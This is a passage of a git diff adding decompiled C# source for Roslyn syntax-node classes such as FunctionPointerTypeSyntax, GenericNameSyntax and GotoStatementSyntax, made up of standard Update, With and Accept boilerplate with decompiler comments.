references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type) + { + FunctionPointerParameterSyntax functionPointerParameterSyntax = SyntaxFactory.FunctionPointerParameter(attributeLists, modifiers, type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return functionPointerParameterSyntax; + } + return functionPointerParameterSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override BaseParameterSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new FunctionPointerParameterSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Type); + } + + internal override BaseParameterSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new FunctionPointerParameterSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Type); + } + + internal override BaseParameterSyntax WithTypeCore(TypeSyntax? type) + { + return WithType(type ?? throw new ArgumentNullException("type")); + } + + public new FunctionPointerParameterSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, type); + } + + internal override BaseParameterSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new FunctionPointerParameterSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override BaseParameterSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new FunctionPointerParameterSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerTypeSyntax.cs new file mode 100644 index 0000000..67f2174 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerTypeSyntax.cs @@ -0,0 +1,111 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FunctionPointerTypeSyntax : TypeSyntax +{ + private FunctionPointerCallingConventionSyntax? callingConvention; + + private FunctionPointerParameterListSyntax? parameterList; + + public SyntaxToken DelegateKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerTypeSyntax)(object)((SyntaxNode)this).Green).delegateKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken AsteriskToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerTypeSyntax)(object)((SyntaxNode)this).Green).asteriskToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public FunctionPointerCallingConventionSyntax? CallingConvention => ((SyntaxNode)this).GetRed(ref callingConvention, 2); + + public FunctionPointerParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 3); + + internal FunctionPointerTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => ((SyntaxNode)this).GetRed(ref callingConvention, 2), + 3 => ((SyntaxNode)this).GetRed(ref parameterList, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => callingConvention, + 3 => parameterList, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerType(this); + } + + public FunctionPointerTypeSyntax Update(SyntaxToken delegateKeyword, SyntaxToken asteriskToken, FunctionPointerCallingConventionSyntax? callingConvention, FunctionPointerParameterListSyntax parameterList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (delegateKeyword != DelegateKeyword || asteriskToken != AsteriskToken || callingConvention != CallingConvention || parameterList != ParameterList) + { + FunctionPointerTypeSyntax functionPointerTypeSyntax = SyntaxFactory.FunctionPointerType(delegateKeyword, asteriskToken, callingConvention, parameterList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return functionPointerTypeSyntax; + } + return functionPointerTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public FunctionPointerTypeSyntax WithDelegateKeyword(SyntaxToken delegateKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(delegateKeyword, AsteriskToken, CallingConvention, ParameterList); + } + + public FunctionPointerTypeSyntax WithAsteriskToken(SyntaxToken asteriskToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(DelegateKeyword, asteriskToken, CallingConvention, ParameterList); + } + + public FunctionPointerTypeSyntax WithCallingConvention(FunctionPointerCallingConventionSyntax? callingConvention) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(DelegateKeyword, AsteriskToken, callingConvention, ParameterList); + } + + public FunctionPointerTypeSyntax WithParameterList(FunctionPointerParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(DelegateKeyword, AsteriskToken, CallingConvention, parameterList); + } + + public FunctionPointerTypeSyntax AddParameterListParameters(params FunctionPointerParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerUnmanagedCallingConventionListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerUnmanagedCallingConventionListSyntax.cs new file mode 100644 index 0000000..eaa36b9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerUnmanagedCallingConventionListSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FunctionPointerUnmanagedCallingConventionListSyntax : CSharpSyntaxNode +{ + private SyntaxNode? callingConventions; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerUnmanagedCallingConventionListSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList CallingConventions + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref callingConventions, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerUnmanagedCallingConventionListSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal FunctionPointerUnmanagedCallingConventionListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref callingConventions, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return callingConventions; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerUnmanagedCallingConventionList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerUnmanagedCallingConventionList(this); + } + + public FunctionPointerUnmanagedCallingConventionListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList callingConventions, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || callingConventions != CallingConventions || closeBracketToken != CloseBracketToken) + { + FunctionPointerUnmanagedCallingConventionListSyntax functionPointerUnmanagedCallingConventionListSyntax = SyntaxFactory.FunctionPointerUnmanagedCallingConventionList(openBracketToken, callingConventions, closeBracketToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return functionPointerUnmanagedCallingConventionListSyntax; + } + return functionPointerUnmanagedCallingConventionListSyntax.WithAnnotations(annotations); + } + return this; + } + + public FunctionPointerUnmanagedCallingConventionListSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, CallingConventions, CloseBracketToken); + } + + public FunctionPointerUnmanagedCallingConventionListSyntax WithCallingConventions(SeparatedSyntaxList callingConventions) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, callingConventions, CloseBracketToken); + } + + public FunctionPointerUnmanagedCallingConventionListSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, CallingConventions, closeBracketToken); + } + + public FunctionPointerUnmanagedCallingConventionListSyntax AddCallingConventions(params FunctionPointerUnmanagedCallingConventionSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithCallingConventions(CallingConventions.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerUnmanagedCallingConventionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerUnmanagedCallingConventionSyntax.cs new file mode 100644 index 0000000..2d76bb5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerUnmanagedCallingConventionSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FunctionPointerUnmanagedCallingConventionSyntax : CSharpSyntaxNode +{ + public SyntaxToken Name => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerUnmanagedCallingConventionSyntax)(object)((SyntaxNode)this).Green).name, ((SyntaxNode)this).Position, 0); + + internal FunctionPointerUnmanagedCallingConventionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerUnmanagedCallingConvention(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerUnmanagedCallingConvention(this); + } + + public FunctionPointerUnmanagedCallingConventionSyntax Update(SyntaxToken name) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (name != Name) + { + FunctionPointerUnmanagedCallingConventionSyntax functionPointerUnmanagedCallingConventionSyntax = SyntaxFactory.FunctionPointerUnmanagedCallingConvention(name); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return functionPointerUnmanagedCallingConventionSyntax; + } + return functionPointerUnmanagedCallingConventionSyntax.WithAnnotations(annotations); + } + return this; + } + + public FunctionPointerUnmanagedCallingConventionSyntax WithName(SyntaxToken name) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(name); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GenericNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GenericNameSyntax.cs new file mode 100644 index 0000000..0532e34 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GenericNameSyntax.cs @@ -0,0 +1,106 @@ +using System.Collections.Generic; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class GenericNameSyntax : SimpleNameSyntax +{ + private TypeArgumentListSyntax? typeArgumentList; + + public bool IsUnboundGenericName => TypeArgumentList.Arguments.Any(SyntaxKind.OmittedTypeArgument); + + public override SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.GenericNameSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).Position, 0); + + public TypeArgumentListSyntax TypeArgumentList => ((SyntaxNode)this).GetRed(ref typeArgumentList, 1); + + internal override string ErrorDisplayName() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + SyntaxToken identifier = Identifier; + builder.Append(((SyntaxToken)(ref identifier)).ValueText).Append("<").Append(',', base.Arity - 1) + .Append(">"); + return instance.ToStringAndFree(); + } + + internal GenericNameSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref typeArgumentList, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)typeArgumentList; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGenericName(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGenericName(this); + } + + public GenericNameSyntax Update(SyntaxToken identifier, TypeArgumentListSyntax typeArgumentList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (identifier != Identifier || typeArgumentList != TypeArgumentList) + { + GenericNameSyntax genericNameSyntax = SyntaxFactory.GenericName(identifier, typeArgumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return genericNameSyntax; + } + return genericNameSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override SimpleNameSyntax WithIdentifierCore(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifier(identifier); + } + + public new GenericNameSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(identifier, TypeArgumentList); + } + + public GenericNameSyntax WithTypeArgumentList(TypeArgumentListSyntax typeArgumentList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(Identifier, typeArgumentList); + } + + public GenericNameSyntax AddTypeArgumentListArguments(params TypeSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithTypeArgumentList(TypeArgumentList.WithArguments(TypeArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GlobalStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GlobalStatementSyntax.cs new file mode 100644 index 0000000..63f0ba7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GlobalStatementSyntax.cs @@ -0,0 +1,154 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class GlobalStatementSyntax : MemberDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 2); + + public GlobalStatementSyntax Update(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, statement); + } + + internal GlobalStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref statement, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGlobalStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGlobalStatement(this); + } + + public GlobalStatementSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || statement != Statement) + { + GlobalStatementSyntax globalStatementSyntax = SyntaxFactory.GlobalStatement(attributeLists, modifiers, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return globalStatementSyntax; + } + return globalStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new GlobalStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Statement); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new GlobalStatementSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Statement); + } + + public GlobalStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, statement); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new GlobalStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new GlobalStatementSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GotoStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GotoStatementSyntax.cs new file mode 100644 index 0000000..95172c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GotoStatementSyntax.cs @@ -0,0 +1,170 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class GotoStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? expression; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken GotoKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.GotoStatementSyntax)(object)((SyntaxNode)this).Green).gotoKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken CaseOrDefaultKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken caseOrDefaultKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.GotoStatementSyntax)(object)((SyntaxNode)this).Green).caseOrDefaultKeyword; + if (caseOrDefaultKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)caseOrDefaultKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public ExpressionSyntax? Expression => ((SyntaxNode)this).GetRed(ref expression, 3); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.GotoStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public GotoStatementSyntax Update(SyntaxToken gotoKeyword, SyntaxToken caseOrDefaultKeyword, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken); + } + + internal GotoStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref expression, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGotoStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGotoStatement(this); + } + + public GotoStatementSyntax Update(SyntaxList attributeLists, SyntaxToken gotoKeyword, SyntaxToken caseOrDefaultKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || gotoKeyword != GotoKeyword || caseOrDefaultKeyword != CaseOrDefaultKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + GotoStatementSyntax gotoStatementSyntax = SyntaxFactory.GotoStatement(Kind(), attributeLists, gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return gotoStatementSyntax; + } + return gotoStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new GotoStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + 